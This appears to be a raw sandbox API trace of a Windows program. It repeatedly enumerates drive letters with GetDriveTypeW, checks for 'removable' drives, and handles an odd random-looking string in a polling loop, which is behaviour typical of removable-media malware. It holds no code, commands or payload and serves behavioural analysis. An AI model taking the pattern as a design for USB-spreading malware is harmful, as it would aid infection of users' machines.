[0171.788] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.788] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.788] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.789] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.789] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.789] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.789] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.789] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.790] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.790] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.790] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.790] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0171.790] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0171.790] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0171.791] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0171.791] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0171.791] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0171.791] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0171.791] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0171.792] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0171.792] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0171.792] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0171.793] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0171.793] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0171.793] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.793] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0171.793] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.793] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0171.793] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.793] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0171.793] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0171.794] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768b0 [0171.794] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.794] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0171.794] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.794] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0171.794] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0171.794] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0171.794] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe698 [0171.794] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a30 [0171.794] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.794] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0171.794] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0171.794] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe698 | out: hHeap=0xe80000) returned 1 [0171.794] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0171.794] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0171.794] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0171.794] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.795] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0171.795] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.795] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2e20 | out: hHeap=0xe80000) returned 1 [0171.796] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0171.796] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0171.796] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0171.796] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0171.796] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0171.796] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0171.796] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0171.796] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0171.796] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.797] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0171.797] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.797] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0171.797] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0171.797] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.797] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076940 [0171.797] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2e20 [0171.797] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.797] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0171.797] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1438 [0171.798] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a90 [0171.798] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0171.798] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076a18 [0171.798] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0171.798] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769a0 [0171.798] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf268 [0171.798] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf288 [0171.798] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.798] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0171.798] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0171.798] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0171.799] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0171.799] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0171.799] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0171.799] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0171.799] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0171.799] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0171.800] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0171.800] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0171.800] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0171.800] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0171.800] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0171.800] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0171.801] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.801] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.802] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.802] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.802] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.802] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.802] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.802] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.802] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.802] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.802] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.802] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.802] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.802] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.802] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.803] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.803] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.803] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.803] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.803] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.803] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.803] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.803] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.803] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.803] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.803] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.803] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.804] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.804] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.804] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.804] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.804] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.806] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.806] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.807] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.807] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.807] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.807] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.807] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.807] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.807] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.807] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.807] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.807] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.807] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.808] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.808] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.808] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.808] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.808] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.808] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.808] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.808] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.808] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.808] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.808] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.808] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.808] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.809] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.809] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.809] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.809] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.809] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.809] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.809] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.809] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.809] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.809] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.809] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.809] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.809] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.810] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.810] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.810] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.810] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.810] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.810] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.810] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.810] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.810] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.810] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.810] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.811] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.811] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.811] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.811] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.811] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.811] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.811] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.811] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.811] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.811] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.811] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.811] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.811] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.812] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.812] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.812] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0171.812] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.812] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0171.812] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.812] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.812] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.812] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0171.812] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0171.812] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0171.812] 